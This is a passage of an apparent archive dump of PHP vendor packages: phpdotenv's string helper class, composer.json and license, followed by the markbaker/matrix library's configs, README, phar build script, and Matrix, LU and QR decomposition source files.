{ /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Convert a string to UTF-8 from the given encoding. * * @param string $input * @param string|null $encoding * * @return \GrahamCampbell\ResultType\Result<string,string> */ public static function utf8(string $input, string $encoding = null) { if ($encoding !== null && !\in_array($encoding, \mb_list_encodings(), true)) { /** @var \GrahamCampbell\ResultType\Result<string,string> */ return Error::create( \sprintf('Illegal character encoding [%s] specified.', $encoding) ); } $converted = $encoding === null ? @\mb_convert_encoding($input, 'UTF-8') : @\mb_convert_encoding($input, 'UTF-8', $encoding); /** * this is for support UTF-8 with BOM encoding * @see https://en.wikipedia.org/wiki/Byte_order_mark * @see https://github.com/vlucas/phpdotenv/issues/500 */ if (\substr($converted, 0, 3) == "\xEF\xBB\xBF") { $converted = \substr($converted, 3); } /** @var \GrahamCampbell\ResultType\Result<string,string> */ return Success::create($converted); } /** * Search for a given substring of the input. * * @param string $haystack * @param string $needle * * @return \PhpOption\Option<int> */ public static function pos(string $haystack, string $needle) { /** @var \PhpOption\Option<int> */ return Option::fromValue(\mb_strpos($haystack, $needle, 0, 'UTF-8'), false); } /** * Grab the specified substring of the input. * * @param string $input * @param int $start * @param int|null $length * * @return string */ public static function substr(string $input, int $start, int $length = null) { return \mb_substr($input, $start, $length, 'UTF-8'); } /** * Compute the length of the given string. * * @param string $input * * @return int */ public static function len(string $input) { return \mb_strlen($input, 'UTF-8'); } } vlucas/phpdotenv/composer.json000064400000003172151676714400012610 0ustar00{ "name": "vlucas/phpdotenv", "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", "keywords": ["env", "dotenv", "environment"], "license": "BSD-3-Clause", "authors": [ { "name": "Graham Campbell", "email": "hello@gjcampbell.co.uk", "homepage": "https://github.com/GrahamCampbell" }, { "name": "Vance Lucas", "email": "vance@vancelucas.com", "homepage": "https://github.com/vlucas" } ], "require": { "php": "^7.2.5 || ^8.0", "ext-pcre": "*", "graham-campbell/result-type": "^1.1.2", "phpoption/phpoption": "^1.9.2", "symfony/polyfill-ctype": "^1.24", "symfony/polyfill-mbstring": "^1.24", "symfony/polyfill-php80": "^1.24" }, "require-dev": { "ext-filter": "*", "bamarni/composer-bin-plugin": "^1.8.2", "phpunit/phpunit":"^8.5.34 || ^9.6.13 || ^10.4.2" }, "autoload": { "psr-4": { "Dotenv\\": "src/" } }, "autoload-dev": { "psr-4": { "Dotenv\\Tests\\": "tests/Dotenv/" } }, "suggest": { "ext-filter": "Required to use the boolean validator." }, "config": { "allow-plugins": { "bamarni/composer-bin-plugin": true }, "preferred-install": "dist" }, "extra": { "bamarni-bin": { "bin-links": true, "forward-command": true }, "branch-alias": { "dev-master": "5.6-dev" } } } vlucas/phpdotenv/LICENSE000064400000003025151676714400011070 0ustar00BSD 3-Clause License Copyright (c) 2014, Graham Campbell. Copyright (c) 2013, Vance Lucas. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. markbaker/matrix/composer.json000064400000003364151676714400012552 0ustar00{ "name": "markbaker/matrix", "type": "library", "description": "PHP Class for working with matrices", "keywords": ["matrix", "vector", "mathematics"], "homepage": "https://github.com/MarkBaker/PHPMatrix", "license": "MIT", "authors": [ { "name": "Mark Baker", "email": "mark@demon-angel.eu" } ], "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", "phpdocumentor/phpdocumentor": "2.*", "phpmd/phpmd": "2.*", "sebastian/phpcpd": "^4.0", "phploc/phploc": "^4.0", "squizlabs/php_codesniffer": "^3.7", "phpcompatibility/php-compatibility": "^9.3", "dealerdirect/phpcodesniffer-composer-installer": "dev-master" }, "autoload": { "psr-4": { "Matrix\\": "classes/src/" } }, "autoload-dev": { "psr-4": { "MatrixTest\\": "unitTests/classes/src/" } }, "scripts": { "style": "phpcs --report-width=200 --standard=PSR2 --report=summary,full classes/src/ unitTests/classes/src -n", "test": "phpunit -c phpunit.xml.dist", "mess": "phpmd classes/src/ xml codesize,unusedcode,design,naming -n", "lines": "phploc classes/src/ -n", "cpd": "phpcpd classes/src/ -n", "versions": "phpcs --report-width=200 --standard=PHPCompatibility --report=summary,full classes/src/ --runtime-set testVersion 7.2- -n", "coverage": "phpunit -c phpunit.xml.dist --coverage-text --coverage-html ./build/coverage" }, "minimum-stability": "dev", "config": { "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true } } } markbaker/matrix/phpstan.neon000064400000000512151676714400012356 0ustar00parameters: ignoreErrors: - '#Property [A-Za-z\\]+::\$[A-Za-z]+ has no typehint specified#' - '#Method [A-Za-z\\]+::[A-Za-z]+\(\) has no return typehint specified#' - '#Method [A-Za-z\\]+::[A-Za-z]+\(\) has parameter \$[A-Za-z0-9]+ with no typehint specified#' checkMissingIterableValueType: false markbaker/matrix/license.md000064400000002125151676714400011766 0ustar00The MIT License (MIT) ===================== Copyright © `2018` `Mark Baker` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.markbaker/matrix/examples/test.php000064400000000746151676714400013337 0ustar00<?php use Matrix\Matrix; use Matrix\Decomposition\QR; include __DIR__ . '/../vendor/autoload.php'; $grid = [ [0, 1], [-1, 0], ]; $targetGrid = [ [-1], [2], ]; $matrix = new Matrix($grid); $target = new Matrix($targetGrid); $decomposition = new QR($matrix); $X = $decomposition->solve($target); echo 'X', PHP_EOL; var_export($X->toArray()); echo PHP_EOL; $resolve = $matrix->multiply($X); echo 'Resolve', PHP_EOL; var_export($resolve->toArray()); echo PHP_EOL; markbaker/matrix/README.md000064400000013143151676714400011303 0ustar00PHPMatrix ========== --- PHP Class for handling Matrices [](https://github.com/MarkBaker/PHPMatrix/actions) [](https://packagist.org/packages/markbaker/matrix) [](https://packagist.org/packages/markbaker/matrix) [](https://packagist.org/packages/markbaker/matrix) [](https://xkcd.com/184/) Matrix Transform --- This library currently provides the following operations: - addition - direct sum - subtraction - multiplication - division (using [A].[B]<sup>-1</sup>) - division by - division into together with functions for - adjoint - antidiagonal - cofactors - determinant - diagonal - identity - inverse - minors - trace - transpose - solve Given Matrices A and B, calculate X for A.X = B and classes for - Decomposition - LU Decomposition with partial row pivoting, such that [P].[A] = [L].[U] and [A] = [P]<sup>|</sup>.[L].[U] - QR Decomposition such that [A] = [Q].[R] ## TO DO - power() function - Decomposition - Cholesky Decomposition - EigenValue Decomposition - EigenValues - EigenVectors --- # Installation ```shell composer require markbaker/matrix:^3.0 ``` # Important BC Note If you've previously been using procedural calls to functions and operations using this library, then from version 3.0 you should use [MarkBaker/PHPMatrixFunctions](https://github.com/MarkBaker/PHPMatrixFunctions) instead (available on packagist as [markbaker/matrix-functions](https://packagist.org/packages/markbaker/matrix-functions)). You'll need to replace `markbaker/matrix`in your `composer.json` file with the new library, but otherwise there should be no difference in the namespacing, or in the way that you have called the Matrix functions in the past, so no actual code changes are required. ```shell composer require markbaker/matrix-functions:^1.0 ``` You should not reference this library (`markbaker/matrix`) in your `composer.json`, composer wil take care of that for you. # Usage To create a new Matrix object, provide an array as the constructor argument ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; $matrix = new Matrix\Matrix($grid); ``` The `Builder` class provides helper methods for creating specific matrices, specifically an identity matrix of a specified size; or a matrix of a specified dimensions, with every cell containing a set value. ```php $matrix = Matrix\Builder::createFilledMatrix(1, 5, 3); ``` Will create a matrix of 5 rows and 3 columns, filled with a `1` in every cell; while ```php $matrix = Matrix\Builder::createIdentityMatrix(3); ``` will create a 3x3 identity matrix. Matrix objects are immutable: whenever you call a method or pass a grid to a function that returns a matrix value, a new Matrix object will be returned, and the original will remain unchanged. This also allows you to chain multiple methods as you would for a fluent interface (as long as they are methods that will return a Matrix result). ## Performing Mathematical Operations To perform mathematical operations with Matrices, you can call the appropriate method against a matrix value, passing other values as arguments ```php $matrix1 = new Matrix\Matrix([ [2, 7, 6], [9, 5, 1], [4, 3, 8], ]); $matrix2 = new Matrix\Matrix([ [1, 2, 3], [4, 5, 6], [7, 8, 9], ]); var_dump($matrix1->multiply($matrix2)->toArray()); ``` or pass all values to the appropriate static method ```php $matrix1 = new Matrix\Matrix([ [2, 7, 6], [9, 5, 1], [4, 3, 8], ]); $matrix2 = new Matrix\Matrix([ [1, 2, 3], [4, 5, 6], [7, 8, 9], ]); var_dump(Matrix\Operations::multiply($matrix1, $matrix2)->toArray()); ``` You can pass in the arguments as Matrix objects, or as arrays. If you want to perform the same operation against multiple values (e.g. to add three or more matrices), then you can pass multiple arguments to any of the operations. ## Using functions When calling any of the available functions for a matrix value, you can either call the relevant method for the Matrix object ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; $matrix = new Matrix\Matrix($grid); echo $matrix->trace(); ``` or you can call the static method, passing the Matrix object or array as an argument ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; $matrix = new Matrix\Matrix($grid); echo Matrix\Functions::trace($matrix); ``` ```php $grid = [ [16, 3, 2, 13], [ 5, 10, 11, 8], [ 9, 6, 7, 12], [ 4, 15, 14, 1], ]; echo Matrix\Functions::trace($grid); ``` ## Decomposition The library also provides classes for matrix decomposition. You can access these using ```php $grid = [ [1, 2], [3, 4], ]; $matrix = new Matrix\Matrix($grid); $decomposition = new Matrix\Decomposition\QR($matrix); $Q = $decomposition->getQ(); $R = $decomposition->getR(); ``` or alternatively us the `Decomposition` factory, identifying which form of decomposition you want to use ```php $grid = [ [1, 2], [3, 4], ]; $matrix = new Matrix\Matrix($grid); $decomposition = Matrix\Decomposition\Decomposition::decomposition(Matrix\Decomposition\Decomposition::QR, $matrix); $Q = $decomposition->getQ(); $R = $decomposition->getR(); ``` markbaker/matrix/buildPhar.php000064400000002527151676714400012453 0ustar00<?php # required: PHP 5.3+ and zlib extension // ini option check if (ini_get('phar.readonly')) { echo "php.ini: set the 'phar.readonly' option to 0 to enable phar creation\n"; exit(1); } // output name $pharName = 'Matrix.phar'; // target folder $sourceDir = __DIR__ . DIRECTORY_SEPARATOR . 'classes' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR; // default meta information $metaData = array( 'Author' => 'Mark Baker <mark@lange.demon.co.uk>', 'Description' => 'PHP Class for working with Matrix numbers', 'Copyright' => 'Mark Baker (c) 2013-' . date('Y'), 'Timestamp' => time(), 'Version' => '0.1.0', 'Date' => date('Y-m-d') ); // cleanup if (file_exists($pharName)) { echo "Removed: {$pharName}\n"; unlink($pharName); } echo "Building phar file...\n"; // the phar object $phar = new Phar($pharName, null, 'Matrix'); $phar->buildFromDirectory($sourceDir); $phar->setStub( <<<'EOT' <?php spl_autoload_register(function ($className) { include 'phar://' . $className . '.php'; }); try { Phar::mapPhar(); } catch (PharException $e) { error_log($e->getMessage()); exit(1); } include 'phar://functions/sqrt.php'; __HALT_COMPILER(); EOT ); $phar->setMetadata($metaData); $phar->compressFiles(Phar::GZ); echo "Complete.\n"; exit(); markbaker/matrix/infection.json.dist000064400000000563151676714400013641 0ustar00{ "timeout": 1, "source": { "directories": [ "classes\/src" ] }, "logs": { "text": "build/infection/text.log", "summary": "build/infection/summary.log", "debug": "build/infection/debug.log", "perMutator": "build/infection/perMutator.md" }, "mutators": { "@default": true } } markbaker/matrix/classes/src/Matrix.php000064400000026450151676714400014232 0ustar00<?php /** * * Class for the management of Matrices * * @copyright Copyright (c) 2018 Mark Baker (https://github.com/MarkBaker/PHPMatrix) * @license https://opensource.org/licenses/MIT MIT */ namespace Matrix; use Generator; use Matrix\Decomposition\LU; use Matrix\Decomposition\QR; /** * Matrix object. * * @package Matrix * * @property-read int $rows The number of rows in the matrix * @property-read int $columns The number of columns in the matrix * @method Matrix antidiagonal() * @method Matrix adjoint() * @method Matrix cofactors() * @method float determinant() * @method Matrix diagonal() * @method Matrix identity() * @method Matrix inverse() * @method Matrix minors() * @method float trace() * @method Matrix transpose() * @method Matrix add(...$matrices) * @method Matrix subtract(...$matrices) * @method Matrix multiply(...$matrices) * @method Matrix divideby(...$matrices) * @method Matrix divideinto(...$matrices) * @method Matrix directsum(...$matrices) */ class Matrix { protected $rows; protected $columns; protected $grid = []; /* * Create a new Matrix object from an array of values * * @param array $grid */ final public function __construct(array $grid) { $this->buildFromArray(array_values($grid)); } /* * Create a new Matrix object from an array of values * * @param array $grid */ protected function buildFromArray(array $grid): void { $this->rows = count($grid); $columns = array_reduce( $grid, function ($carry, $value) { return max($carry, is_array($value) ? count($value) : 1); } ); $this->columns = $columns; array_walk( $grid, function (&$value) use ($columns) { if (!is_array($value)) { $value = [$value]; } $value = array_pad(array_values($value), $columns, null); } ); $this->grid = $grid; } /** * Validate that a row number is a positive integer * * @param int $row * @return int * @throws Exception */ public static function validateRow(int $row): int { if ((!is_numeric($row)) || (intval($row) < 1)) { throw new Exception('Invalid Row'); } return (int)$row; } /** * Validate that a column number is a positive integer * * @param int $column * @return int * @throws Exception */ public static function validateColumn(int $column): int { if ((!is_numeric($column)) || (intval($column) < 1)) { throw new Exception('Invalid Column'); } return (int)$column; } /** * Validate that a row number falls within the set of rows for this matrix * * @param int $row * @return int * @throws Exception */ protected function validateRowInRange(int $row): int { $row = static::validateRow($row); if ($row > $this->rows) { throw new Exception('Requested Row exceeds matrix size'); } return $row; } /** * Validate that a column number falls within the set of columns for this matrix * * @param int $column * @return int * @throws Exception */ protected function validateColumnInRange(int $column): int { $column = static::validateColumn($column); if ($column > $this->columns) { throw new Exception('Requested Column exceeds matrix size'); } return $column; } /** * Return a new matrix as a subset of rows from this matrix, starting at row number $row, and $rowCount rows * A $rowCount value of 0 will return all rows of the matrix from $row * A negative $rowCount value will return rows until that many rows from the end of the matrix * * Note that row numbers start from 1, not from 0 * * @param int $row * @param int $rowCount * @return static * @throws Exception */ public function getRows(int $row, int $rowCount = 1): Matrix { $row = $this->validateRowInRange($row); if ($rowCount === 0) { $rowCount = $this->rows - $row + 1; } return new static(array_slice($this->grid, $row - 1, (int)$rowCount)); } /** * Return a new matrix as a subset of columns from this matrix, starting at column number $column, and $columnCount columns * A $columnCount value of 0 will return all columns of the matrix from $column * A negative $columnCount value will return columns until that many columns from the end of the matrix * * Note that column numbers start from 1, not from 0 * * @param int $column * @param int $columnCount * @return Matrix * @throws Exception */ public function getColumns(int $column, int $columnCount = 1): Matrix { $column = $this->validateColumnInRange($column); if ($columnCount < 1) { $columnCount = $this->columns + $columnCount - $column + 1; } $grid = []; for ($i = $column - 1; $i < $column + $columnCount - 1; ++$i) { $grid[] = array_column($this->grid, $i); } return (new static($grid))->transpose(); } /** * Return a new matrix as a subset of rows from this matrix, dropping rows starting at row number $row, * and $rowCount rows * A negative $rowCount value will drop rows until that many rows from the end of the matrix * A $rowCount value of 0 will remove all rows of the matrix from $row * * Note that row numbers start from 1, not from 0 * * @param int $row * @param int $rowCount * @return static * @throws Exception */ public function dropRows(int $row, int $rowCount = 1): Matrix { $this->validateRowInRange($row); if ($rowCount === 0) { $rowCount = $this->rows - $row + 1; } $grid = $this->grid; array_splice($grid, $row - 1, (int)$rowCount); return new static($grid); } /** * Return a new matrix as a subset of columns from this matrix, dropping columns starting at column number $column, * and $columnCount columns * A negative $columnCount value will drop columns until that many columns from the end of the matrix * A $columnCount value of 0 will remove all columns of the matrix from $column * * Note that column numbers start from 1, not from 0 * * @param int $column * @param int $columnCount * @return static * @throws Exception */ public function dropColumns(int $column, int $columnCount = 1): Matrix { $this->validateColumnInRange($column); if ($columnCount < 1) { $columnCount = $this->columns + $columnCount - $column + 1; } $grid = $this->grid; array_walk( $grid, function (&$row) use ($column, $columnCount) { array_splice($row, $column - 1, (int)$columnCount); } ); return new static($grid); } /** * Return a value from this matrix, from the "cell" identified by the row and column numbers * Note that row and column numbers start from 1, not from 0 * * @param int $row * @param int $column * @return mixed * @throws Exception */ public function getValue(int $row, int $column) { $row = $this->validateRowInRange($row); $column = $this->validateColumnInRange($column); return $this->grid[$row - 1][$column - 1]; } /** * Returns a Generator that will yield each row of the matrix in turn as a vector matrix * or the value of each cell if the matrix is a column vector * * @return Generator|Matrix[]|mixed[] */ public function rows(): Generator { foreach ($this->grid as $i => $row) { yield $i + 1 => ($this->columns == 1) ? $row[0] : new static([$row]); } } /** * Returns a Generator that will yield each column of the matrix in turn as a vector matrix * or the value of each cell if the matrix is a row vector * * @return Generator|Matrix[]|mixed[] */ public function columns(): Generator { for ($i = 0; $i < $this->columns; ++$i) { yield $i + 1 => ($this->rows == 1) ? $this->grid[0][$i] : new static(array_column($this->grid, $i)); } } /** * Identify if the row and column dimensions of this matrix are equal, * i.e. if it is a "square" matrix * * @return bool */ public function isSquare(): bool { return $this->rows === $this->columns; } /** * Identify if this matrix is a vector * i.e. if it comprises only a single row or a single column * * @return bool */ public function isVector(): bool { return $this->rows === 1 || $this->columns === 1; } /** * Return the matrix as a 2-dimensional array * * @return array */ public function toArray(): array { return $this->grid; } /** * Solve A*X = B. * * @param Matrix $B Right hand side * * @throws Exception * * @return Matrix ... Solution if A is square, least squares solution otherwise */ public function solve(Matrix $B): Matrix { if ($this->columns === $this->rows) { return (new LU($this))->solve($B); } return (new QR($this))->solve($B); } protected static $getters = [ 'rows', 'columns', ]; /** * Access specific properties as read-only (no setters) * * @param string $propertyName * @return mixed * @throws Exception */ public function __get(string $propertyName) { $propertyName = strtolower($propertyName); // Test for function calls if (in_array($propertyName, self::$getters)) { return $this->$propertyName; } throw new Exception('Property does not exist'); } protected static $functions = [ 'adjoint', 'antidiagonal', 'cofactors', 'determinant', 'diagonal', 'identity', 'inverse', 'minors', 'trace', 'transpose', ]; protected static $operations = [ 'add', 'subtract', 'multiply', 'divideby', 'divideinto', 'directsum', ]; /** * Returns the result of the function call or operation * * @param string $functionName * @param mixed[] $arguments * @return Matrix|float * @throws Exception */ public function __call(string $functionName, $arguments) { $functionName = strtolower(str_replace('_', '', $functionName)); // Test for function calls if (in_array($functionName, self::$functions, true)) { return Functions::$functionName($this, ...$arguments); } // Test for operation calls if (in_array($functionName, self::$operations, true)) { return Operations::$functionName($this, ...$arguments); } throw new Exception('Function or Operation does not exist'); } } markbaker/matrix/classes/src/Decomposition/Decomposition.php000064400000001022151676714400020402 0ustar00<?php namespace Matrix\Decomposition; use Matrix\Exception; use Matrix\Matrix; class Decomposition { const LU = 'LU'; const QR = 'QR'; /** * @throws Exception */ public static function decomposition($type, Matrix $matrix) { switch (strtoupper($type)) { case self::LU: return new LU($matrix); case self::QR: return new QR($matrix); default: throw new Exception('Invalid Decomposition'); } } } markbaker/matrix/classes/src/Decomposition/QR.php000064400000012757151676714400016131 0ustar00<?php namespace Matrix\Decomposition; use Matrix\Exception; use Matrix\Matrix; class QR { private $qrMatrix; private $rows; private $columns; private $rDiagonal = []; public function __construct(Matrix $matrix) { $this->qrMatrix = $matrix->toArray(); $this->rows = $matrix->rows; $this->columns = $matrix->columns; $this->decompose(); } public function getHouseholdVectors(): Matrix { $householdVectors = []; for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { if ($row >= $column) { $householdVectors[$row][$column] = $this->qrMatrix[$row][$column]; } else { $householdVectors[$row][$column] = 0.0; } } } return new Matrix($householdVectors); } public function getQ(): Matrix { $qGrid = []; $rowCount = $this->rows; for ($k = $this->columns - 1; $k >= 0; --$k) { for ($i = 0; $i < $this->rows; ++$i) { $qGrid[$i][$k] = 0.0; } $qGrid[$k][$k] = 1.0; if ($this->columns > $this->rows) { $qGrid = array_slice($qGrid, 0, $this->rows); } for ($j = $k; $j < $this->columns; ++$j) { if (isset($this->qrMatrix[$k], $this->qrMatrix[$k][$k]) && $this->qrMatrix[$k][$k] != 0.0) { $s = 0.0; for ($i = $k; $i < $this->rows; ++$i) { $s += $this->qrMatrix[$i][$k] * $qGrid[$i][$j]; } $s = -$s / $this->qrMatrix[$k][$k]; for ($i = $k; $i < $this->rows; ++$i) { $qGrid[$i][$j] += $s * $this->qrMatrix[$i][$k]; } } } } array_walk( $qGrid, function (&$row) use ($rowCount) { $row = array_reverse($row); $row = array_slice($row, 0, $rowCount); } ); return new Matrix($qGrid); } public function getR(): Matrix { $rGrid = []; for ($row = 0; $row < $this->columns; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { if ($row < $column) { $rGrid[$row][$column] = $this->qrMatrix[$row][$column] ?? 0.0; } elseif ($row === $column) { $rGrid[$row][$column] = $this->rDiagonal[$row] ?? 0.0; } else { $rGrid[$row][$column] = 0.0; } } } if ($this->columns > $this->rows) { $rGrid = array_slice($rGrid, 0, $this->rows); } return new Matrix($rGrid); } private function hypo($a, $b): float { if (abs($a) > abs($b)) { $r = $b / $a; $r = abs($a) * sqrt(1 + $r * $r); } elseif ($b != 0.0) { $r = $a / $b; $r = abs($b) * sqrt(1 + $r * $r); } else { $r = 0.0; } return $r; } /** * QR Decomposition computed by Householder reflections. */ private function decompose(): void { for ($k = 0; $k < $this->columns; ++$k) { // Compute 2-norm of k-th column without under/overflow. $norm = 0.0; for ($i = $k; $i < $this->rows; ++$i) { $norm = $this->hypo($norm, $this->qrMatrix[$i][$k]); } if ($norm != 0.0) { // Form k-th Householder vector. if ($this->qrMatrix[$k][$k] < 0.0) { $norm = -$norm; } for ($i = $k; $i < $this->rows; ++$i) { $this->qrMatrix[$i][$k] /= $norm; } $this->qrMatrix[$k][$k] += 1.0; // Apply transformation to remaining columns. for ($j = $k + 1; $j < $this->columns; ++$j) { $s = 0.0; for ($i = $k; $i < $this->rows; ++$i) { $s += $this->qrMatrix[$i][$k] * $this->qrMatrix[$i][$j]; } $s = -$s / $this->qrMatrix[$k][$k]; for ($i = $k; $i < $this->rows; ++$i) { $this->qrMatrix[$i][$j] += $s * $this->qrMatrix[$i][$k]; } } } $this->rDiagonal[$k] = -$norm; } } public function isFullRank(): bool { for ($j = 0; $j < $this->columns; ++$j) { if ($this->rDiagonal[$j] == 0.0) { return false; } } return true; } /** * Least squares solution of A*X = B. * * @param Matrix $B a Matrix with as many rows as A and any number of columns * * @throws Exception * * @return Matrix matrix that minimizes the two norm of Q*R*X-B */ public function solve(Matrix $B): Matrix { if ($B->rows !== $this->rows) { throw new Exception('Matrix row dimensions are not equal'); } if (!$this->isFullRank()) { throw new Exception('Can only perform this operation on a full-rank matrix'); } // Compute Y = transpose(Q)*B $Y = $this->getQ()->transpose() ->multiply($B); // Solve R*X = Y; return $this->getR()->inverse() ->multiply($Y); } } markbaker/matrix/classes/src/Decomposition/LU.php000064400000015471151676714400016123 0ustar00<?php namespace Matrix\Decomposition; use Matrix\Exception; use Matrix\Matrix; class LU { private $luMatrix; private $rows; private $columns; private $pivot = []; public function __construct(Matrix $matrix) { $this->luMatrix = $matrix->toArray(); $this->rows = $matrix->rows; $this->columns = $matrix->columns; $this->buildPivot(); } /** * Get lower triangular factor. * * @return Matrix Lower triangular factor */ public function getL(): Matrix { $lower = []; $columns = min($this->rows, $this->columns); for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $columns; ++$column) { if ($row > $column) { $lower[$row][$column] = $this->luMatrix[$row][$column]; } elseif ($row === $column) { $lower[$row][$column] = 1.0; } else { $lower[$row][$column] = 0.0; } } } return new Matrix($lower); } /** * Get upper triangular factor. * * @return Matrix Upper triangular factor */ public function getU(): Matrix { $upper = []; $rows = min($this->rows, $this->columns); for ($row = 0; $row < $rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { if ($row <= $column) { $upper[$row][$column] = $this->luMatrix[$row][$column]; } else { $upper[$row][$column] = 0.0; } } } return new Matrix($upper); } /** * Return pivot permutation vector. * * @return Matrix Pivot matrix */ public function getP(): Matrix { $pMatrix = []; $pivots = $this->pivot; $pivotCount = count($pivots); foreach ($pivots as $row => $pivot) { $pMatrix[$row] = array_fill(0, $pivotCount, 0); $pMatrix[$row][$pivot] = 1; } return new Matrix($pMatrix); } /** * Return pivot permutation vector. * * @return array Pivot vector */ public function getPivot(): array { return $this->pivot; } /** * Is the matrix nonsingular? * * @return bool true if U, and hence A, is nonsingular */ public function isNonsingular(): bool { for ($diagonal = 0; $diagonal < $this->columns; ++$diagonal) { if ($this->luMatrix[$diagonal][$diagonal] === 0.0) { return false; } } return true; } private function buildPivot(): void { for ($row = 0; $row < $this->rows; ++$row) { $this->pivot[$row] = $row; } for ($column = 0; $column < $this->columns; ++$column) { $luColumn = $this->localisedReferenceColumn($column); $this->applyTransformations($column, $luColumn); $pivot = $this->findPivot($column, $luColumn); if ($pivot !== $column) { $this->pivotExchange($pivot, $column); } $this->computeMultipliers($column); unset($luColumn); } } private function localisedReferenceColumn($column): array { $luColumn = []; for ($row = 0; $row < $this->rows; ++$row) { $luColumn[$row] = &$this->luMatrix[$row][$column]; } return $luColumn; } private function applyTransformations($column, array $luColumn): void { for ($row = 0; $row < $this->rows; ++$row) { $luRow = $this->luMatrix[$row]; // Most of the time is spent in the following dot product. $kmax = min($row, $column); $sValue = 0.0; for ($kValue = 0; $kValue < $kmax; ++$kValue) { $sValue += $luRow[$kValue] * $luColumn[$kValue]; } $luRow[$column] = $luColumn[$row] -= $sValue; } } private function findPivot($column, array $luColumn): int { $pivot = $column; for ($row = $column + 1; $row < $this->rows; ++$row) { if (abs($luColumn[$row]) > abs($luColumn[$pivot])) { $pivot = $row; } } return $pivot; } private function pivotExchange($pivot, $column): void { for ($kValue = 0; $kValue < $this->columns; ++$kValue) { $tValue = $this->luMatrix[$pivot][$kValue]; $this->luMatrix[$pivot][$kValue] = $this->luMatrix[$column][$kValue]; $this->luMatrix[$column][$kValue] = $tValue; } $lValue = $this->pivot[$pivot]; $this->pivot[$pivot] = $this->pivot[$column]; $this->pivot[$column] = $lValue; } private function computeMultipliers($diagonal): void { if (($diagonal < $this->rows) && ($this->luMatrix[$diagonal][$diagonal] != 0.0)) { for ($row = $diagonal + 1; $row < $this->rows; ++$row) { $this->luMatrix[$row][$diagonal] /= $this->luMatrix[$diagonal][$diagonal]; } } } private function pivotB(Matrix $B): array { $X = []; foreach ($this->pivot as $rowId) { $row = $B->getRows($rowId + 1)->toArray(); $X[] = array_pop($row); } return $X; } /** * Solve A*X = B. * * @param Matrix $B a Matrix with as many rows as A and any number of columns * * @throws Exception * * @return Matrix X so that L*U*X = B(piv,:) */ public function solve(Matrix $B): Matrix { if ($B->rows !== $this->rows) { throw new Exception('Matrix row dimensions are not equal'); } if ($this->rows !== $this->columns) { throw new Exception('LU solve() only works on square matrices'); } if (!$this->isNonsingular()) { throw new Exception('Can only perform operation on singular matrix'); } // Copy right hand side with pivoting $nx = $B->columns; $X = $this->pivotB($B); // Solve L*Y = B(piv,:) for ($k = 0; $k < $this->columns; ++$k) { for ($i = $k + 1; $i < $this->columns; ++$i) { for ($j = 0; $j < $nx; ++$j) { $X[$i][$j] -= $X[$k][$j] * $this->luMatrix[$i][$k]; } } } // Solve U*X = Y; for ($k = $this->columns - 1; $k >= 0; --$k) { for ($j = 0; $j < $nx; ++$j) { $X[$k][$j] /= $this->luMatrix[$k][$k]; } for ($i = 0; $i < $k; ++$i) { for ($j = 0; $j < $nx; ++$j) { $X[$i][$j] -= $X[$k][$j] * $this->luMatrix[$i][$k]; } } } return new Matrix($X); } } markbaker/matrix/classes/src/Div0Exception.php000064400000000362151676714400015441 0ustar00<?php /** * Exception. * * @copyright Copyright (c) 2013-2018 Mark Baker (https://github.com/MarkBaker/PHPMatrix) * @license https://opensource.org/licenses/MIT MIT */ 